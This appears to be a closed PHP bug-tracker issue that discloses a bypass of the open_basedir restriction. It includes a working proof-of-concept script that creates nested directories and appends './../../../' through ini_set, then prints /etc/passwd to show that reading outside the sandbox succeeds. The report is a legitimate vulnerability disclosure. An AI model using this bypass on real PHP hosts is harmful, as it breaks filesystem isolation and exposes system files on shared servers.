Closed
Description
Description
A bug was already reported (#7024), providing details about how open_basedir
could be bypassed. The principle was to create a sub-directory, to move to this directory, and to refer to its parent with ../
while modifying the directive open_basedir
. Since the parent would still belong to the restricted directory, the modification was accepted. This bug was fixed and could not be reproduced in latest versions. However, tweaking a little bit the payload makes possible to bypass the restriction. Here is a small PoC:
<?php
//just as an example, we try to read /etc/passwd
function read_etc_passwd(){
$content = @file_get_contents("/etc/passwd");
if ($content !== false){echo $content;}
else {echo "Nope, /etc/passwd not readable".PHP_EOL;}
}
echo "Running PHP version ".PHP_VERSION.PHP_EOL;
read_etc_passwd(); //should fail
$path = "a/b/c"; //create 3 sub-dirs, cause we are in /usr/src/myapp (3 levels)
$here = getcwd(); //save CWD
if (mkdir($path, 0777, true)){
chdir($path); //move to these new dirs
ini_set("open_basedir", ini_get('open_basedir').":../../../"); //try to change open_basedir with old payload
chdir($here); //get back to previous dir
echo "open_basedir directive is still ".ini_get('open_basedir').PHP_EOL; //should have failed, open_basedir is still the same
read_etc_passwd(); //confirm by trying to read /etc/passwd, should fail
}
//now do the same, but preprend ./ while modifying open_basedir
$path = "d/e/f";
if (mkdir($path, 0777, true)){
chdir($path);
ini_set("open_basedir", ini_get('open_basedir').":./../../../");
chdir($here);
echo "open_basedir directive is now ".ini_get('open_basedir').PHP_EOL;
read_etc_passwd(); //now it works
}
?>
Resulted in this output:
Running PHP version 8.2.2RC1
Nope, /etc/passwd not readable
open_basedir directive is still /usr/src/myapp/
Nope, /etc/passwd not readable
open_basedir directive is now /usr/src/myapp/:./../../../
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Since this was reported and patched, it seems that this is an unintended bypass.
PHP Version
PHP 8.2.2RC1
Operating System
No response